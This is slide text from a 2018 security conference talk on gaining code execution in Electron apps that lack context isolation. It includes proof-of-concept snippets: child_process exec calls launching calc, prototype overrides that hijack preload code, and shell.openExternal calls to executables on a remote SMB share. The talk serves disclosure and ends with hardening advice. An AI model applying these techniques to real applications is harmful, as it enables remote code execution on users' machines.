Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

Masato Kinugawa CureCon 08/2018

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https://electronjs.org/#apps

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main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow();
//Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);

index.html <!DOCTYPE html> <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1>
<style> body{ background:url('island.png') } </style> </body> </html>

• • new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });

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let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } });
win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html

• • new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') }
}); main.js

/* preload.js */ typeof require === 'function';//true window.runCalc = function(){
require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> Node

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new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') }
});

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https://github.com/electron/i18n/blob/81f707c69562cb91fe7c5a98270827a28b93fd5f/content/ja- JP/docs/tutorial/security.md#3-リモートコンテンツでコンテキストイソレーションを有効にする “

/* Content Script */ window.abc = 123; /* https://example.com */
alert(window.abc)//undefined Isolated World

/* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//123
Isolated World

/* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//undefined
Isolated World

/* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') } } /* index.html
*/ postMessage('runCalc','*') Isolated World

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/* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =
["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); http(s):

const {shell} = require('electron'); /* */ shell.openExternal('https://example.com/'); /* */ shell.openExternal('mailto:[email protected]');
/* */ shell.openExternal('file:///C:/windows/system32/calc.exe');

/* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS =
["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false);

if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); }

if (1337 !== -1) { shell.openExternal(link.href); }

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const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe");

const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • The Tale
of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

• • • InsertScript: DLL Hijacking via URL files (Alex
Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html

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// Clean cache on quit. process.on('exit', function () { for
(let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib /common/asar.js#L30-L36

EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...]
var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231

function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else {
var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113

var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }

process.mainModule.require

var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } }

var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); }

• XSS • • MitM JS contextIsolation RCE

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• • /* preload.js */ document.addEventListener('click', (e) => { /*
}, false);

• • new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload:
path.join(__dirname,'preload.js') } }); IMPORTANT!

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

Electron: Context Isolationの欠如を利用した任意コード実行 / Electron: Abusing the lack of context isolation - CureCon(ja)

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